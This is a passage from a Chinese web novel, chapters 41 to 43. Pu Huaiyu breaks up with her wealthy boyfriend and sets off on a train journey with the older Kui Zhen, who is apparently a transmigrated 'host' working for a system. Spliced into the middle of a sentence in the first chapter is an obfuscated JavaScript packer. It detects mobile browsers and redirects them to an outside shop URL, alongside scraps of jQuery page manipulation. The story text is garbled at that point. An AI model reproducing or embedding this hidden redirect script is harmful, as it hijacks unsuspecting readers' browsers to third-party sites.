他挺好的,她就非得喜欢吗?凡事都得讲道德,有先来后到。 然而过两天,濮怀玉跟秦紫怡和卫殊聚餐的时候,戚致廷给她发了一张简晟和陌生女孩的合照,并且附言,“早晚的事”。 此时的餐桌上,仅仅一个学期,秦紫怡的头发肉眼可见稀薄不少,生动诠释什么叫做“劝人学医,天打雷劈”,但如果那个人是她妈咪就另说了。如今她警觉着: “怎么了?” “情况稍微有点复杂。”濮怀玉迅速回了他一个“滚”字,“我男朋友的损友给我发了一张男朋友跟其他女生的合照,然后跟我说他俩迟早在一起,我让他赶紧滚。” 卫殊:“啊?他就这么笃定?” “是啊,他们一个圈子的,那种电视剧里需要联姻的有钱人,够装吧。” “你跟这种人交往干嘛。”秦紫怡没谈上心心念念的恋爱,看过的霸总小说全变成专业书的厚度,她一看到就要呕吐,多少有怨气,“你跟这种人待在一起,心理会不平衡的。” 濮怀玉的回答朴实无华:“因为长得帅,谈着玩玩的。喏,不需要找角度,随便拍的。” 说罢伸出手机。两个人齐刷刷身体朝前探过来,再嘴巴变成O型。 “哦买噶,这也太帅了,真不是河童。我以后看小说能把男主的脸代成他吗?” “你有时间看小说吗?……不过,濮怀玉,你那个专业竟然有时间谈恋爱,还谈质量这么高的,真是高精力人群。” 濮怀玉随口道:“翘课不就行了。秦紫怡,我劝你不要代,他性格很孩子气,之前因为各种小事跟我吵了不少次,不是你看的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626173|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种成熟霸道型。” “你到底怎么打算的?不能跟小团体里的男生谈恋爱啊。尤其你那位还是有钱人。”她们还在聊小说不小说的,没个正形,卫殊忍不住了,“你怎么知道他跟圈子里的女生互动到什么程度了?说不定他爸爸妈妈都不知道你的存在,赞成他跟另外一个女生恩爱,你反而变小三。” 秦紫怡:“有钱人不都这样吗?到时候你就要大战男朋友的未婚妻,被她陷害,然后一番虐身虐心……” “倒也不是这样。”卫殊插嘴。 但濮怀玉只说“再等等”。 “我们有个约定,我想到我过十九岁生日那段时间再说。” 她非常看重那次旅行,虽然眼下被两个朋友理解成了恋爱脑大爆发,恨不得哭天抢地唤回她的神智,但既然有了约定,濮怀玉想要有始有终。 “不要再精神胜利了好吗!把那个受不了一点委屈的濮怀玉还给我——再不还给我,我就把你投稿到诡秘你能不能不要恋爱脑bot——” “老公,你都被欺负成这样了,老公你说句话啊老公,外面那个死男人扔了不行吗——” 但濮怀玉没听。她被笼罩进了那场意义特殊的旅行中,带着腾升的热气,温度让回忆难以喘息。 上次拜访还是初中,准确来说是初一升初二的那个暑假,现在已经过去四年?还是五年了?最精通的算术忽然变的不管用。 “……过了五月,再说吧。” 玩笑般的恋爱,骤然介入严肃的色彩。约定好的旅行,至少得建立在恋爱关系存续基础上,濮怀玉不想放弃。 秦紫怡和卫殊不明白,没有关系;明白需要越过那条界限刨根问题,甚至得撕开结好的痂,而她们自高中结成友谊就明白彼此都是有分寸的人。因此她笑了笑:“先吃饭吧,好不容易凑到一起。” 从餐厅出门坐上公交,濮怀玉给隗祯发信息,说刚跟她们在一家新开的餐厅吃了饭,好久没有面对面咀嚼各自食物的体验,而这一次她们都不必匆忙,好像能聊到天荒地老。 真希望没给服务员添麻烦。她倚靠在窗边打字。 隗祯看到消息的时候,刚跟一位访客聊完孩子的叛逆期问题,对方称赞他很有方法,是不是修习过教育学,亦或者自己亲手养过。 他欣然一笑,回答,“没有这回事,我反而是被孩子教的那一个。您的孩子其实是个好孩子,有时候我们做大人的,在外面脊梁压得很弯,回家又挺得太直,这种区别对待其实不应该。” 说起来,做爸爸妈妈最容易窝里横,而孩子善于模仿,将劣习模仿回去。 出来饮口温水,拿起手机有惊喜。他知道濮怀玉的朋友圈从来是冷却状态,只在一对一闲聊的时候热一点,不禁靠在工位旁笑起来,回复她“下次回隋城,可以约在那里”。 “隗老师这表情,交女朋友了?” 唇角的笑容一敛,隗祯抬头,自己没注意到自己的表情一瞬间犹如见鬼:“没有,刚才看到有意思的新闻而已。” 一聊起新闻,员工共享的公共空间每天都有不同的话题。隗祯当作听不见,垂下头,结果濮怀玉随后的消息则将他从天堂打到地狱。 【打工皇帝】:那还是算了 【打工皇帝】:被认识的人看见,会误会的,你跟我都不需要这点麻烦 她跟简晟闲聊白天吃过的餐馆,会说下一次两人约在那里很“麻烦”么?不会吧,毕竟是恋人关系。 像这样跟他聊起平常的生活,应当也是穿插其中分分心的调味剂,要是不小心放多,会跟无意间摸到陌生人的腰似的,被烫到似的收回手,再礼貌地道歉。至于“主菜”,根本无需多说,当然是正式的男朋友。 他坐下来,脸色阴沉起来,手指落到屏幕却打出色彩不一样的字眼: 【Kui】:那就等你开学,我们在燕京聚一聚[咖啡] 【Kui】:这里的餐厅种类还多,我们上次吃了简餐,下次或许可以试试别的 发完消息,他便把手机翻了过去,祈愿濮怀玉至少没有他敏感,愿意凭着一层单薄的情谊答应下来。 41. 041 濮怀玉回燕京,先约她的是三个舍友。天气会慢慢热起来,所以暂且预支一点火热,三人在鸳鸯锅前开了一局,赌随机捞到的食材是什么。 “必须在水下,不能露出水面!……就算偷懒抓丸子,也要说出全名。” 简晟则姗姗来迟,约濮怀玉在某条街的十字路口相见。在那之前,简晟给濮怀玉寄了一条栗色毛衣裙,手腕处有棉花糖状的蓬松,穿上后似乎整个人都成了秋日的榛果。 很合体,但不是濮怀玉的风格。她起初并不想穿,但简晟随衣附赠了小卡片,说自己已经想象了濮怀玉这条裙子跟那件Dior外套搭配起来是什么样子,会很适合她,勉为其难收下了。 ‘我第一次尝试给你做搭配,就当作我给你的万千赔罪礼中微不足道的一件,好不好嘛。 ——爱你kiss你的Jacob’ 卡片还喷了香水,凑近是酸梅子味,似乎能想象到简晟委屈巴巴的模样。 嘁,他有什么好委屈的。说是不愿意穿,濮怀玉还是试了试,竟把那点柔软的蓬松穿出一点现代感来。 只是,简晟不送给她,就算适合,濮怀玉这辈子看到了也不会碰一下。 她左看右看镜子里的自己,心里想,有钱人出身的设计师给有钱人设计的衣服,真是莫名其妙。 如期赴约,他等在车外,昂贵的外套连着昂贵的车,活物跟死物如此亲密无间,仿佛天生就为一体。瞧见她,眼睛一亮,简晟小跑过去,抱住她就亲了亲脸颊,不停地说“漂亮”。 恰好漂亮是濮怀玉这辈子最不稀罕听到的称赞,所以她很淡然地擦了擦脸上的唾液,再在简晟以为自己嫌弃他时迅速抹向他,道:“我就知道你要祸害我。” 简晟象征性地躲了一下,然后就任由她动作了,咧着嘴笑:“我祸害你,你不也来祸害我了。” 如此打情骂俏,此前的嫌隙仿佛一下子弥合。 到了他预订好的餐厅,简晟聊在海岛跟朋友的游戏,上菜前忽然握住濮怀玉放在桌子上的双手: “小玉,我尽快给你办张护照,这样暑假我们就能出去玩了。我真的很想带你看看你没看过的风景,就算我已经看尽,但只要对你来说是新奇的,我就开心。” 上菜声恰到好处。“二位的前菜。” 帕尔玛火腿吸附在帆船似的蜜瓜上,切痕划分了船舱。 刹那间,濮怀玉以为自己就在那船里,被奶酪粘腻着。简晟比先前会讨她欢心得多,这甚至让她隐约有些异样感——因为很陌生。 “我先前没想明白,寒假是很特别的,因为要在春节和家人相聚。我不明不白朝你乱发一通脾气,是真的伤了你的心。请你给我机会弥补。” “……你已经在弥补了。” 他喜欢带她去店里选购,这样可以隐晦地炫耀;不喜欢聊太过沉重的话题,这样可以轻松地调情。濮怀玉得出的经验,在今天的几分钟内被他尽数推翻。 她思忖着为什么,挞顶点缀的鱼子酱霎时在口腔内爆开咸腥味,刺激得她挑了一下眉。也是在这时,她发现简晟在走神,指尖在手机屏幕上零碎地点着,似乎在回谁的消息。 “你有急事吗?” “啊?……呃、嗯,当然没有。” 濮怀玉不着痕迹吞水送服主厨制作的创意咸挞,没有多说什么。 她并没有表达不满,但简晟之后一直在殷勤地跟她找话题聊。很流畅很丰富,也很能照顾她的心情,但就是很奇怪。非要做比喻的话,就像实操背得烂熟的雅思口语。 吃完饭,濮怀玉晚上还要做实验,简晟二话不说就要把她送回学校,不像往常哭闹着要两个人多待一会儿。 路上,濮怀玉依靠在窗边,忽然拍拍简晟的手臂说:“Jacob,你让师傅停一下车。” 也是运气好,燕京大学城的热门美食缔造者,鸭腿奶奶竟然就在路边,看样子刚出摊。 司机找好位置停车,濮怀玉下车过去:“奶奶,您这边的没有全被预订吧?给我来一个。” 想想碰见难得,再想想一只不够吃,濮怀玉啃着一个,不知不觉吃了大半,又让奶奶再处理好一只,撒上辣椒和孜然,热乎乎、香喷喷的。 奶奶也是见多识广,纸包一层,塑料袋再套一层递给她:“给男朋友带啊?” “谢谢奶奶,不给他带。主要我自己吃。” 其实根本没有带和不带的区别,简晟是会跟她抢食的,也算情趣一种。明明也吃过那么多的好东西,但见了她手里的食物就跟饿狗一样,张嘴就要咬。 濮怀玉起初觉得莫名,正儿八经跟他抢,抢过来自己吃干净了,他又委屈。此后濮怀玉都当成乐趣,装作严防死守,实则放开一整片太平洋。 她还会在车前礼貌地谦让一番:“就不带上车了吧,我怕有味道。” 然而等简晟把她拉进车,咬着她手里的鸭腿,只会含糊不清冲她卖萌:“那有肿么样?窝就腰债车里吃,外面冷冷,我哭哭。” 如今依旧是那辆招摇的玛莎拉蒂,简晟没从里面出来。濮怀玉凑近车窗,发现他正在里面打电话。车的隔音效果很好,听不到在说什么,濮怀玉啃着鸭腿耐心等他打完,然后跟敲门似的轻拍。 简晟看清她手里是什么后,反倒在车内轻轻拧起眉。车门依旧纹丝不动,就好像隔开了时间,而他们在不同的时间线上。 映照在外车窗上,女孩的表情渐渐冷淡下来。 刚跟姐姐通完电话,简晟心情很烦躁。他就是选择了跟濮怀玉鬼混,推掉了跟谭家千金的约会,那又怎么样,用得着来兴师问罪?!谭孜茹本人都没说什么! 结果濮怀玉归来,手里不争气地拿着不知道从哪里买来的路边摊食品——她特意要下车去,就是为了这。 简晟一下子是真想不明白了,濮怀玉里面穿的裙子是谭孜茹推荐的设计师的特别定制,外套是Dior,马丁靴跟包包都是miumiu的,她怎么能像个流浪汉一样去买这种垃圾? 她知不知道他放弃了什么?意识到她提出的时间跟谭家千金重合,他就考虑了五分钟,然后选择了她! 气盛之下,简晟摇下车窗,准备先噼里啪啦指责一通:“濮怀玉,你吃这个干什么?我们刚从餐厅出来,你要是没吃饱我们立马回去,至于在这里给肚子塞一堆垃圾?有意思吗?” 青年一开口,满嘴都是陌生的气息。濮怀玉也不回话,当即转身就走。 这下简晟是真的急了,立马下车追上去,紧紧抓住她的肩膀:“我说的不对吗?……算了,刚才我的语气确实不好。小玉,你吃完我们再上车,总之别把我的车弄脏——” 濮怀玉甩开了他的手:“……简晟,你这样跟诈骗有什么区别。” “什么?”简晟没反应过来。 前脚求饶,不自然地对照着既定的日程表向她献媚,后脚就现出原形来。濮怀玉对他冷笑:“我不跟你走了,你请自便吧。” 是了,濮怀玉从来如此。既然都是来享受的,情绪没调整好就不配和她继续走下去。想在她面前穷讲究,做梦去吧。 “你怎么回事,你怎么无理取闹呢?”简晟不敢相信自己的耳朵,有哪个少爷像他这样窝囊的,何况濮怀玉还不是什么千金,他跟正牌千金相处都不至于这样,“我让你不要吃这些,但你既然买了就在车外吃掉,我陪着你,你还要怎么样?” 可濮怀玉沿着人行道朝前走,真真是头也不回,一点留恋都没有。 已经将时间押在她身上,将珍贵的、真实的初次恋爱押在她身上,简晟怎么可能放任她大步流星离开他精心制造的爱情现场。 他小跑着跟上去,也不顾路人怎么看了,问她:“你究竟怎么回事?好吧,我承认,我刚刚在车上跟我姐吵过架,所以态度不好,我为这一点向你道歉。现在你可以跟我回去了吗?” 反复无常的男友摆出让她生理性厌恶的表情拦在前面,濮怀玉终于站定了。 就像凝固的雕像,只有她记得部分共有的回忆。不健忘的,从来唯有雕像而已。“所以,距离新年才一个月,这么快你就又原形毕露了吗。”濮怀玉冷静道,“自从我跟你参加那场派对,你一直重复这个过程,莫名其妙先发火,再随心所欲想怎么道歉就怎么道歉,周期比我的经期都准。” “经期——你说这个干什么?” 濮怀玉没有月经羞耻,但很明显简晟有,瞬间涨红了脸。 她将第一根鸭腿的骨头顺手丢进旁边的垃圾桶里,这也是停下脚步的另一个原因。就算喂给垃圾桶吃,也不喂给狗了。 “不干什么。”濮怀玉慢条斯理退到旁边的咖啡馆前,抽出纸巾擦拭手指,简晟也理所当然跟了过来。 她想,自己真是没预料到,原来在这里等着她呢。搞得濮怀玉都忍不住猜测,简晟寒假的时候向她百般求原谅,敢情是准备在这里找回来:把她所以为的“乐趣”一下子变成不能共享、不能越界的卑贱。 究竟该以哪一天做分界线?濮怀玉冷哼一声,也没兴趣挖掘了。毕竟男人这种生物都是情绪化的,像简晟这种好看的,更是如此。 “你变了很多,Jacob。我们原先一起吃过这玩意儿,你把我的都抢走了,我以为你很喜欢,结果你不喜欢啊。” 濮怀玉饶有兴致将他的表情当成小人书,翻着页数看,一时间 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“我不是你那个圈子里的人,所以你在那个圈子遇到的问题,应该赖在我身上?” “……不。” 她面无表情一合掌:“那就好办了。” 将剩下的鸭腿抱紧放进包里,明明不会漏出一点油渍,简晟的表情却恨不得替濮怀玉把那只脏了的miumiu包扔掉。 它在贫穷的濮怀玉心目中,确实跟帆布包没什么区别,甚至更不好装,但在简晟心中既重要,又不重要。重要到不能盛装包装完好的食物,不重要到一旦被沾染就彻底成了废物。 就跟他多变的情绪一样。 拉上拉链,濮怀玉靠近他的耳朵:“简晟,别让我为难。你虽然是个管不住自己情绪和私事的贱人,但我相信你能处理好。再见。” “贱人”两个字在她嘴里仿佛变成文明人的词汇,甚至有种微妙的、冷艳的听感,让简晟想要颤抖。 愣神之间,濮怀玉走了。干脆地一走了之。 而在那之后,简晟就像从濮怀玉的生活中彻底消失了一样。但他们不算分手,他们还有未履行的旅行,因此濮怀玉会在闲暇看一眼跟简晟的对话界面,再一无所获退出去。 戚致廷倒是时不时回来骚扰她,描述简晟跟另一位谭小姐的恋爱进度。 ‘他们一起见了简总,就是Jacob的姐姐。’ ‘不出意料,Jacob和谭小姐最近就会订婚。你知道谭家吗?做实业很出名,比简家稍微矮一截,但两家的产业版图很互补,这才是真正的天作之合。’ ‘猜猜这场超棒的订婚派对是谁没有被邀请?是我们可怜的濮小姐呀~’ 聊天记录保存下来,濮怀玉觉得自己可以在小红书起号了,题目叫“我的男朋友好像又恋爱了”。虽然无图无真相,但仅凭文字应该很能吸引阅读量。 而等她跟隗祯在盛放墨西哥菜的饭桌上聊起这件事的时候,濮怀玉特意看了眼时间:已经是四月中了。 “这在心理学领域有什么说法吗?”彼时濮怀玉正吃着一个辛辣却很刺激味蕾的Taco,辣椒碎被牙齿碾出聊胜于无的汁,她因而悄悄地“嘶”一声。 隗祯自然而然给她续上一杯柠檬水:“没有说法,濮怀玉同学。不要总寄希望于知识,有时候知识会欺骗你。” 他垂下慵懒的眼。实在是简晟这样的富家公子向来不在他眼里,无论是他本身的能力,还是他仰赖的简家——都不够看。 “在我看来,他只是被家人拿命根子施压而已,比如一张支撑他挥霍的信用卡。这就是我的猜测。” 濮怀玉认真吃着,隗祯的话语也在漠然中透出温柔:“你不用担忧简晟,即便他真的有些心理问题,从来都不是你把健康的他打碎,你不用为此负责。” “嗯,我知道。”濮怀玉在纸巾上捻了捻,“所以我在等他的电话。马上要到时间了。” 她语气轻松,隗祯却想:什么时间? 不过半年左右的时间,就喜欢的这么这么深吗? 他甚至只付出了金钱,就得到了她的爱。简晟根本不懂濮怀玉,他不配。哪儿哪儿都不配。 隗祯的心里下着混浊的小雨,每滴雨都在说,“小玉啊小玉,他真的不够好”。 真的不够。 ……为什么那位年轻的作者不能依据濮怀玉的人格,依据她的“肋骨”,给她量身定制一个合格的夏娃呢?明明做得到,却要用这种方式让濮怀玉得到“历练”吗? 她已经如此完整。如此的…… 濮怀玉接下来回应隗祯的话,则无异于火上浇油:时候未到。 42. 042 五月份了,濮怀玉打破了数月的寂静。 【打工皇帝】:我们还一起去裴县吗 【打工皇帝】:去或不去,你回我一下,我要买火车票的,今晚十二点之前 然后,当晚十一点五十八,濮怀玉确定简晟依旧什么都没回复,那颗心真正落下了。 【打工皇帝】:那就分手吧,你送我的衣服反正你用不到,你的现任应该也用不到,我就留着了 当晚睡前,濮怀玉查了很久的二手价。除了跟简晟约会她就没怎么穿过,都很新,濮怀玉相信行情再差也会是一笔不菲的收入,花钱的又不是她,一件衣服净赚几千应该可以的吧。 不过,平心而论,濮怀玉确实在聊天记录里骗了简晟。两个人的火车票她早就买好了,要是真挨着五一假期才慢吞吞着手抢票,一张也买不到。 她不想去,真的好讨厌,但她非去不可。那县城在南边的南边,仿佛衔着无尽的海水,而海底的引力在拉扯她,呢喃“只有来了,你才不会溺死在里面”。 要一个人去,浪费一张车票吗? 夜晚,濮怀玉蜷缩在宿舍的小床里。行李箱基本收拾好了,临走前是该跟家人说一声。但除此以外,相当重要的同行者,还没有确定下来。 院长在电话里沉着地同意,陆乔则不够平静,担心她太难过,声音听起来很不情愿,但被院长拉走耳语几句后,又在电话那头挤出笑来,说“这是件好事”。 “你好久没到那里了,去感受一下根的温度总是好的。只是你上次去,回来一个人躲在房间里三天三夜不吃不喝,这次不会了吧?” “这次你‘回来’,是回到燕京。我的手就算有百米长,也到不了那里呀。小玉,你得答应我,我才没有疑心。” 濮怀玉宽慰她:“不会的,大姐姐。我那时候太小了,现在我十八,再过个几天都十九岁了,已经不是小朋友。” “知道你不是小朋友,但在这件事情上,我还是要多问一句。从裴县回去,每天都要报平安,拍点照片给我。” 濮怀玉说了好多句“好”,终于哄住了。 已经都交代完,但濮怀玉忽然又想起一个人。隗祯。 要跟他有所交代吗?她觉得这想法有点莫名其妙。说好的忘年交、大半个朋友,濮怀玉现在又在心里把他当起长辈,天平隐隐偏向“告诉他”那边。 隗祯的名字主动在来电界面显示的那一刻,濮怀玉甚至松了口气。她终于不用给隗祯做定义了,他自己接下来的话语就能决定他是什么。 先是一阵寒暄,两个人都知道这是进入正题前的礼节,就看谁先切入正题。 “所以,五一假期,你决定怎么安排?” 是隗祯。他的语气里有点小心,又有点……紧张?仿佛含着说不出的、惊弓之鸟般的淡淡惊惧,就好像她像鸟一样到处飞,周围已经蛰伏好了弹弓,他会为此担心到窒息。 多少有点大惊小怪了,但让隗祯担心到这种程度,到底也算个事。 “我已经提前买好火车票了,要出去……旅行。”濮怀玉斟酌出一个所有人这些天都欢欢喜喜挂在嘴边的词,但她的旅行注定不欢喜。 跟简晟爽约关联性不大,是她自己。 “跟谁?” “原先跟简晟,但他忘记了。”濮怀玉平静道,“没有他,我一个人也会动身。” 别人玩笑般提起的旅行,最终成了她跟自己的约定。 “……去哪里?” “去裴县,一个南方的小县城,要坐很久的火车,会途径隋城。” 他问得太详细了,太详细太详细,濮怀玉恍惚间产生错觉,开玩笑提起,“所以隗叔叔,你问这么细,要跟我一起去吗?” 隗祯回答:“好。” 他们两个人都愣住了。 好不合适。这样太不合适了。好像笃定地顺着直钩爬上去,犹如一条不知死活的鱼,不怕被刺得鲜血淋漓。成年人的相处模式不该是这样。 然而,迂回的、委婉的、装模作样的后退又有数不尽的风险,万一真的松开了、以后再也找不到了呢?万一就差这一次不顾一切呢?说到底,还是不够在意。 但隗祯在意。他很在意。 所以他用右耳和肩膀夹着手机,翻开日程表,手拿圆珠笔问:“我们什么时候出发?” “……四月三十,晚八点上车。先睡一觉,中途再转一次。” “我明白了。”他迅速地记下,“等着我。” 濮怀玉话语间顿了一下:“我从来不等人的,你要来得早一点。” “好。那就我来。 挂断电话,她看着手机里的电子车票,终于退去简晟的那一张,改买隗祯的。跟他沟通很方便,不需要反复在聊天界面敲来敲去,他很快将信息发过来。 还不知道能不能买到他的那张呢,五一假的票都很紧张,只能指望裴县很偏很落后,没什么人愿意来。濮怀玉看着界面,心情比起“不反感”,似乎隐隐期待起什么来。 “……好了。” 她截屏给隗祯,说竟然还能买到,真不可思议,就好像就该有两张票捏在手里,命运站在濮怀玉这个人这边。 系统默默发力完,若无其事道:「不用谢。」 隗祯匆匆打过卡下楼,准备一到租住的地点就开始收拾行李箱,得轻便一点,闻言道:「你竟然能这么通人性。」 讽刺耳边过,慈悲心中留。在濮怀玉的事情上,系统一直很宽容:「宿主过誉了,都是为了任务对象的人身安全。」 隗祯也出差了不少次,国内外都跑过。商务座是常事,为了尽快也坐过红眼航班,特助会把所有的琐事安排好,从航班到接驳车,隗祯只要如期奔赴就好。 这一次,需要他操心的事太多,旅程也必然不那么舒适,但隗祯却比任何一次外出远行都要心怀期待。 这一天什么时候能到?…… 四月三十日的夜晚,车很难打到,但隗祯提前了三个小时出发,再慢、再堵都能到了。 事实证明,当他抵达火车站,看到背着书包走进大厅的年轻女孩时,甚至想给她一个大大的拥抱。 很难想象他在那一刻的心境。周围都是外出旅行或是返乡探亲的男女老少,从大牌背包到蛇皮口袋,亲人、朋友、情侣,他们则是不明不白介入其中的一对。 “濮怀玉!”无限嘈杂声中,除了高声没有别的选择。 于是她看到他了,走上前。 “书包重不重?你该拿个行李箱,推着轻松一点。背太重的东西,会把腰压弯的。” 濮怀玉跑到他面前:“我力气大,这点根本算不了什么。你短袖带了几件?裴县这个时候已经很热了。” 他们边走边找空座位。 “有海吗?” “不知道,我要去的地方没有,只有很多很多的农田。……那边不行,那边两个空座位不是连在一起的,再看看。” 隗祯嘴上说“将就一下也不是不可以”,心情却微妙的愉快起来。 她要跟他坐一起哎。 最终是濮怀玉眼尖,看见一对老夫妻一个搀扶着一个准备起身检票,拉着隗祯就往那方向跑,总算是坐下来,能在上车前好好歇会儿了。 只是,濮怀玉座位还没有捂热,便板着脸走到对面,跟一个阿姨说“不可以拍他”。那阿姨删得倒也干脆,就是被小辈驳了面子有些羞恼,嘟囔“爱美之心人皆有之”。 “有也不行,隐私更大。” 解决完突发状况,骑士终于坐下了。 因为被维护,隗祯再次产生说不出的愉快,道:“喝口水吧,润润喉咙。” 女孩本没有表情的脸蛋,瞬间流露出几分颇有趣味的老实样来:“哦。谢谢。” 她小口喝着水,瞥向隗祯低头查看电子车票的测验,睫毛颤动时像蝴蝶翅膀。 “我们好像是正对的上下铺。”隗祯抬头,正碰见濮怀玉喝水呛到自己:“不知道上铺的高度怎么样,要是够高,你就睡上铺。上铺安全点,没有人骚扰。” “行。那要是谁趁机占你便宜,你告诉我,我去扁TA。” 他们真有默契。隗祯数不清楚自己是第几次感到高兴。 然而等到上了车,隗祯吃到了平生吃过最难吃的盒饭。濮怀玉则坐在他旁边,一个人不吭声,直接吃了一干二净。 对上视线,濮怀玉警觉地拿湿纸巾抹嘴:“干什么,我又不是垃圾桶。”男人的剩饭,感觉好恶心。 隗祯有些无奈,他怎么可能有脸做出这种上不得台面的事情:“我还没说话呢。”他留给濮怀玉的印象就这么差吗。 狭小的空间是两张上下铺,对面住着一对母女,都不在。母亲去找热水泡方便面了,女孩听声音的话,应该是去串门了,跟其他小孩嬉闹着呢。 聒噪得隗祯有点头大,忍不住问:“等会儿也会这么吵吗?” “不知道,反正我有耳塞。”然后,濮怀玉把一副给他,“你肯定没准备。” 她的书包看着小,其实五脏俱全,什么都考虑到了。 隗祯刚想道谢,一阵跑步声过后,扎着三个小啾啾的女孩进了门。看到隗祯的一瞬间,那张兴冲冲、汗涔涔的脸笑容忽然淡了很多,腼腆起来,只知道抓着门边晃着半边身体。 濮怀玉皱眉:“这样很危险……哎!” 她眼疾手快上前,一把抱住了小女孩。原来是小女孩不知不觉松手,直愣愣就要往地上栽,好在没摔倒在濮怀玉身上,因为她的双手如此有力。 像肥沃的大地。 “……悠悠!” “小玉!” 两个人一下子被分开。悠悠没摔疼,被妈妈抓着手臂骂疼了,瘪着嘴就要哭;濮怀玉刚才为了保护小女孩背抵在门上,其实并不疼,也就隗祯心急地先抓她的肩膀,再去行李箱里翻带出来的药。 “根本没事,我有我自己的判断。”濮怀玉不老老实实坐着,蹲在他旁边看,“哇,你这行李箱也是别有洞天。” 等隗祯从里面翻出药,濮怀玉又被悠悠的母亲叫走了。“孩子,你没事吧?”那女人身上还有些散不去的方便面味道。 “没事的,阿姨。” 濮怀玉看着她关切的眼睛,心里想,假如妈妈是方便面味的,她也很愿意很愿意的。 幻想完,她 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濮怀玉抹了抹上面的水珠,然后在三双眼睛的注视下“咔嚓”一声,徒手将苹果分成两半再合起;横过来又是不费力地一拧,苹果变成了四份。 “大家一起吃。”四瓣苹果,一人一瓣。饶是悠悠母亲都难以拒绝这双乌黑的眼睛,纯净又真挚,一心想要分享。 给隗祯的时候,濮怀玉小声和他耳语:“刚才吃了那么多不喜欢吃的东西,正好解解腻。” 她一直……一直注意着他。“谢谢你。后背还痛吗?” “一点都不疼了。” 轮到悠悠,她的眼睛一下子亮起来——这也太厉害了!激动到接过苹果的时候连谢谢都忘记去说,光顾着盯着濮怀玉看:“姐姐好厉害!” 那个叔叔是很帅,但这个姐姐更帅,根本挪不开眼睛。 这之后,其他车厢里的小孩蹦跳着要过来找悠悠玩,悠悠一点都不想走了。 “我要跟姐姐玩!” 虽然姐姐板着脸,但一点都不可怕,还会好多好多游戏。 总是被别人赢,悠悠会被气哭,但是姐姐赢她只想鼓掌。 姐姐还会把她抱起来。妈妈总是很忙,也很累,抱不动她,悠悠已经很久很久没有被人抱了,现在待在姐姐怀里正开心。 “荡秋千!荡秋千!哦哦!” 悠悠妈妈起初还提心吊胆,生怕女儿被濮怀玉甩到地上去。但悠悠最后平稳落地,连睡觉都比往常积极得多,累到往床上一躺就呼呼大睡,得妈妈帮忙脱鞋,她又觉得省心和放心,安顿好孩子小声对濮怀玉道谢。 “不用这么客气。我也喜欢悠悠。” 是真的喜欢,真的关心。 是夜,车内渐渐安静。有濮怀玉给的耳塞帮忙,周围人的鼾声变的不甚明显,带着倦意的身体跟随车厢一同漫游,隗祯在如此环境下竟也渐渐阖上眼睛。 “隗叔叔,叔叔。” “隗祯!” 第二天早晨,看见濮怀玉站在床头,隗祯第一反应是遮脸——刚醒来的面容没有修饰过,不能轻易示人。 濮怀玉包容他的矫情。“没看你。你快一点,我们得换车了。” 在车站草草吃了碗面,终于在拥挤中登上另一列火车。这次只需要两个小时,并排的位置紧挨着缩在角落,座椅布面还有破损,根本施展不开手脚。 濮怀玉在里,隗祯在外。坐下后隗祯特意看看前后,发现车厢内除了他们这个角落,也就五六对座椅上零星地坐着人。明明是人口流动高峰期的五一假期,却甚少有人涉足这辆过分陈旧的绿皮火车。 濮怀玉就在这样的情境下开了口:“我其实一直想问你。” “嗯?” “你为什么要辞去隋城的工作?”她的神经末梢敏锐到可怕,“我总觉得奇怪,这么巧,好像跟我到燕京念书有关。” 这个问题,隗祯还是能平静回答的。 “我告诉过你了,濮同学。现在工作实在是不好找,不是我想去哪个城市就能去的。我想我们最终能在燕京碰见,还是巧合。你觉得呢?” 她看着他,沉默片刻后点了头。隗祯觉得可以舒出一口气了,濮怀玉的好奇心却比他想象的还要重,甚至能把他逼到墙角。 “还有,为什么要跟我一起回那个地方去。” 女孩执着于看他的眼睛,“你是想当我的好哥哥,还是好爸爸。你心里总有一个确定的答案,不然一切说不通。” 甚至没有闲心去纠结那个称呼,换做从前隗祯恐怕会羞愤得涨红了脸。……“爸爸”!他哪里老到能生得出她。 现在,他只是默默思考。 她是一簇在光明中自由前行的浮萍,他则被夜晚放逐,每一分每一秒都在竭尽全力往深水摸去,想抓到自己的根。 但本质上,他们都是浮萍。 所以,刹那间,隗祯觉得自己可以精准地回答这个问题了。 “我不是你的老师,可能连朋友都算不上。” “……但我想保护你。” 既然可以为你重新书写更好的命运……那我想跟在你的十九岁后面,每一秒都寸步不离。 43. 043 濮怀玉坐得很直,就这样定定地看了他许久。她看人从来专注,就像咬在牙齿间,攥在手心里,但把隗祯看到不自在还是第一次。 说审视,又是细腻的;说温柔,又能给他身上烧出一个洞。 但这种感觉很好。 好得像是一种隗祯期待了很久的延迟满足。 最后濮怀玉慢慢坐了回去。 “好吧。”她说。 “好吧”是什么意思?隗祯不懂她的心思,他很想懂,究竟是狐疑还是信任,不满还是愉快,但濮怀玉只是看向窗外。 然后大方地给了他好多点友好值: 「友好值+5」 「当前友好值:99。」 还差一点。但隗祯莫名抵触类似“还差一点”这样的措辞,他们的关系不应该用这点数字衡量。 不可否认,最开始他对濮怀玉是不得不注视、不得不注意,但现在不一样了。她对他来说不再是一张回家的船票,一份有着进度条的任务,是不能够割舍的、活生生的“濮怀玉”。 这个世界对他来说是虚幻的,但对她来说就是百分之一百。 ……无论如何都不想她死。应该说,只要想到在濮怀玉身上存在这样一个可能性,隗祯就忍不住心如刀割,遥远的另一个世界远远不及此刻的她重要。 他是幽灵,游离在她成年礼的前后。 但也是拥有改变命运的力量的幽灵。 必须得……下定决心。 火车到站了,正值中午。濮怀玉在里面背上书包,隗祯则把行李箱搬下,扭头等她挤出来,跟在他身后。 站定在月台上时,破败的车站就在眼前,周围满是倒映着阳光的田地,泥土和庄稼味道的画布,就像是金子做的一样。 顺着稀疏的人群朝前走,穿着短袖和薄外套的中年人、甚至老人在出站口操乡音叫喊,推销着简陋的接驳车。 也就在这时,濮怀玉拽住隗祯的小臂,然后迅雷不及掩耳在他右脸颊上咬了一口。 是的,突然咬了一口,留下圆圆的、苹果似的牙印。 